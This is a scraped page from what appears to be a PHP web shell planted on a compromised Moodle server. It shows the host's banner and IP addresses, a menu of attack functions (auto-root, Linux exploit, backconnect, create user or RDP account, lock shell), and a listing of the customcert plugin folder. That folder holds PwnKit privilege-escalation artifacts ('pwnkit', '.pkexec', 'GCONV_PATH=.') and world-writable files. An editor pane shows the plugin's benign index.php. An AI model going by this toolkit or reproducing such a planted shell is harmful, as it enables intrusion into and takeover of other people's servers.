Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
customcert /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
element
[ DIR ]
drwxrwxrwx
includes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
mobile
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
.travis.yml
1.16
KB
-rwxrwxrwx
CHANGES.md
9.07
KB
-rwxrwxrwx
LICENSE.md
34.32
KB
-rwxrwxrwx
README.md
1.57
KB
-rwxrwxrwx
ajax.php
1.81
KB
-rwxrwxrwx
composer.json
199
B
-rwxrwxrwx
edit.php
9.37
KB
-rwxrwxrwx
edit_element.php
3.86
KB
-rwxrwxrwx
index.php
3.91
KB
-rwxrwxrwx
lib.php
13.33
KB
-rwxrwxrwx
load_template.php
3.86
KB
-rwxrwxrwx
manage_templates.php
4.8
KB
-rwxrwxrwx
mod_form.php
10.03
KB
-rwxrwxrwx
my_certificates.php
3.36
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rearrange.php
5.57
KB
-rwxrwxrwx
report.php
1.33
KB
-rwxrwxrwx
settings.php
4.59
KB
-rwxrwxrwx
styles.css
1.79
KB
-rwxrwxrwx
upload_image.php
1.84
KB
-rwxrwxrwx
verify_certificate.php
5.2
KB
-rwxrwxrwx
version.php
1.36
KB
-rwxrwxrwx
view.php
7.57
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php // This file is part of the customcert module for Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This page lists all the instances of customcert in a particular course. * * @package mod_customcert * @copyright 2013 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../../config.php'); $id = required_param('id', PARAM_INT); // Course ID. $course = $DB->get_record('course', array('id' => $id), '*', MUST_EXIST); // Requires a login. require_login($course); // Set up the page variables. $pageurl = new moodle_url('/mod/customcert/index.php', array('id' => $course->id)); \mod_customcert\page_helper::page_setup($pageurl, context_course::instance($id), get_string('modulenameplural', 'customcert')); // Additional page setup needed. $PAGE->set_pagelayout('incourse'); $PAGE->navbar->add(get_string('modulenameplural', 'customcert')); // Add the page view to the Moodle log. $event = \mod_customcert\event\course_module_instance_list_viewed::create(array( 'context' => context_course::instance($course->id) )); $event->add_record_snapshot('course', $course); $event->trigger(); // Get the customcerts, if there are none display a notice. if (!$customcerts = get_all_instances_in_course('customcert', $course)) { echo $OUTPUT->header(); notice(get_string('nocustomcerts', 'customcert'), new moodle_url('/course/view.php', array('id' => $course->id))); echo $OUTPUT->footer(); exit(); } // Create the table to display the different custom certificates. $table = new html_table(); if ($usesections = course_format_uses_sections($course->format)) { $table->head = array(get_string('sectionname', 'format_'.$course->format), get_string('name'), get_string('receiveddate', 'customcert')); } else { $table->head = array(get_string('name'), get_string('receiveddate', 'customcert')); } $currentsection = ''; foreach ($customcerts as $customcert) { // Check if the customcert is visible, if so show text as normal, else show it as dimmed. if ($customcert->visible) { $link = html_writer::tag('a', $customcert->name, array('href' => new moodle_url('/mod/customcert/view.php', array('id' => $customcert->coursemodule)))); } else { $link = html_writer::tag('a', $customcert->name, array('class' => 'dimmed', 'href' => new moodle_url('/mod/customcert/view.php', array('id' => $customcert->coursemodule)))); } // If we are at a different section then print a horizontal rule. if ($customcert->section !== $currentsection) { if ($currentsection !== '') { $table->data[] = 'hr'; } $currentsection = $customcert->section; } // Check if there is was an issue provided for this user. if ($certrecord = $DB->get_record('customcert_issues', array('userid' => $USER->id, 'customcertid' => $customcert->id))) { $issued = userdate($certrecord->timecreated); } else { $issued = get_string('notissued', 'customcert'); } // Only display the section column if the course format uses sections. if ($usesections) { $table->data[] = array($customcert->section, $link, $issued); } else { $table->data[] = array($link, $issued); } } echo $OUTPUT->header(); echo html_writer::table($table); echo $OUTPUT->footer();
Close